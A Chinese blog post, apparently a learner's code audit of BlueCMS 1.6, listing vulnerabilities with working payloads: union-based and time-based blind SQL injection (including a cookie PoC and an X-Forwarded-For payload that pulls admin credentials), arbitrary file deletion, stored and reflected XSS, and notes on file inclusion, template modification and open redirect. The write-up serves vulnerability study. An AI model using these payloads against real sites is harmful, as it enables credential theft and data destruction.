Bluecms1.6代码审计

ad_js sql注入

数字型注入
在这里插入图片描述

1%20union%20select%201,2,3,4,5,6,(select%20user())

在这里插入图片描述

common.inc.php sql注入

此文件在include下,应该是一些基础的函数或配置,所以任何包含此文件的都可以进行注入emmm
找到publish.php,正好包含了该文件
在这里插入图片描述
common.inc.php注入点:

if(!$_SESSION['user_id'])
{
    if($_COOKIE['BLUE']['user_id'] && $_COOKIE['BLUE']['user_name'] && $_COOKIE['BLUE']['user_pwd'])
    {
        if(check_cookie($_COOKIE['BLUE']['user_name'], $_COOKIE['BLUE']['user_pwd']))
        {
            update_user_info($_COOKIE['BLUE']['user_name']);
        }
    }
    else if($_COOKIE['BLUE']['user_name'])
    {

        $user_name = $_COOKIE['BLUE']['user_name'];
        $user = $db->query("SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name'");

可以看到如果没有进行登陆,并且只有$_COOKIE['BLUE']['user_name']有值,就会进行sql查询,不过貌似这里只能盲注
在这里插入图片描述
延迟之后自动跳转到登陆页面,为了看的清晰我先把跳转注释了:
在这里插入图片描述
也没什么过滤,延时成功
在这里插入图片描述
poc:

BLUE[user_name]:w4'and if(((ascii(mid((select database()),1,1)))=98),sleep(3),0)#

publish.php 任意文件删除

在第316行:
在这里插入图片描述
参数$act可控:
在这里插入图片描述
id也可控,新建一个test页面:
在这里插入图片描述
在这里插入图片描述

publish.php?act=del_pic&id=test.php

再次访问:
在这里插入图片描述
任意文件删除的地方有不少就列这一个吧~

user.php xss

邮箱处存在xss
在这里插入图片描述
在这里插入图片描述

admin/card.php xss(反射型)

name处无过滤直接输出,所以只能弹一下
在这里插入图片描述

name=<script>alert(1)</script>&value=1&price=1&act=do_edit&id=1

在这里插入图片描述

user.php 文件包含

在这里插入图片描述
这里包含点可控,但是主要是后面的index.php,%00截断不成功,我参考了网上的文章,用

Windows下目录最大长度为256字节,Linux下目录最大长度为4096字节

的思路,版本为5.2,但是怎么都包含不了,占坑

comment.php xff注入

payload;

1','1'),('','1','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1

在这里插入图片描述

tpl_manage.php 任意文件修改

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

user.php 任意跳转

在这里插入图片描述
或许可以用来ssrf什么的,需要base64编码
在这里插入图片描述

总结

第一次看cms,不知道从哪入手,有点无力,有些明显的洞有时候还是没注意,不过还好小型的cms代码没那么复杂,漏洞也比较简单好利用,算是第一次入手吧,还算小有收获,以后审cms最重要的还是得从用户输入着手看 只不过这个源码有点不稳定?(nah)

猜你喜欢

转载自www.cnblogs.com/W4nder/p/12528857.html
今日推荐